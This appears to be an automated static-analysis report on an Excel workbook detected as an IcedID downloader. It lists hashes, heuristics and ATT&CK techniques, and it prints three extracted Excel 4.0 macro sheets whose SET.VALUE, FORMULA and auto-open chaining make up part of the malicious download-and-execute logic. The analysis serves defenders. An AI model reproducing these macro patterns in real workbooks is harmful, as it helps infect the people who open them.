IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 fb4ec96c393e140d…

MALICIOUS

Office (OOXML)

184.8 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-05
MD5: e3df2a541aca4af49d04e58f03c3e9d9 SHA-1: 5ee0d5d98aa2e816261c73eb5386679f92d86902 SHA-256: fb4ec96c393e140d81f718aee68ac4b7a3f4fea1e70795f790c90b90394c21fb
242 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains critical heuristics indicating the presence of Excel 4.0 macros, specifically using dangerous functions like FORMULA, CALL, and EXEC. ClamAV detection confirms this as an IcedID downloader variant. The macros are designed to download and execute a second-stage payload, which is a common characteristic of IcedID malware.

Heuristics 5

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (3 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1110 bytes
SHA-256: ce3b78405257ea5374a0faa3cde9f6cc12042c699ad21956c13a3f7bb60a8833
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CD16:CD17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="2"/></cols><sheetData><row r="16" spans="82:82" x14ac:dyDescent="0.25"><c r="CD16" s="2" t="b"><f>FORMULA(Sheet1!CG16,CA16)</f><v>0</v></c></row><row r="17" spans="82:82" x14ac:dyDescent="0.25"><c r="CD17" s="2" t="b"><f>Sheet4!CB13()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1486 bytes
SHA-256: 989f17e30085fd1692e3b77bb5cf92f7e8f334c5a32a413e6b1343dcffe82e18
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CG12:CH14"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="2"/></cols><sheetData><row r="12" spans="85:86" x14ac:dyDescent="0.25"><c r="CG12" s="2" t="str"><f>NOW()&amp;".jpg"</f><v>44389,7571259259.jpg</v></c></row><row r="13" spans="85:86" x14ac:dyDescent="0.25"><c r="CG13" s="2" t="e"><f>SET.VALUE(CG16,Sheet2!CB8&amp;Sheet2!CG9&amp;Sheet2!CH16&amp;Sheet2!CH18&amp;Sheet2!CG23&amp;Sheet2!CG25&amp;Sheet2!CG28&amp;Sheet2!CG30)=CH12()</f><v>#N/A</v></c><c r="CH13" s="2" t="e"><f>SET.VALUE(CG17,Sheet2!CB15&amp;Sheet2!CG39&amp;Sheet2!CG40)</f><v>#N/A</v></c></row><row r="14" spans="85:86" x14ac:dyDescent="0.25"><c r="CH14" s="2" t="b"><f>Sheet4!CF18()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1299 bytes
SHA-256: 684f6da319df36c5519b995abe343678bc33c6a88226ba5f477a9e49024c7d96
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CB14:CF19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="2"/></cols><sheetData><row r="14" spans="80:80" x14ac:dyDescent="0.25"><c r="CB14" s="2" t="b"><f>FORMULA(Sheet1!CG17,Sheet3!CA17)</f><v>0</v></c></row><row r="15" spans="80:80" x14ac:dyDescent="0.25"><c r="CB15" s="2" t="b"><f>FORMULA(CF21,Sheet3!CA18)=Sheet3!CA14()</f><v>1</v></c></row><row r="19" spans="84:84" x14ac:dyDescent="0.25"><c r="CF19" s="2" t="e"><f>SET.VALUE(CF21,Sheet2!CB26)=Sheet3!CD15()</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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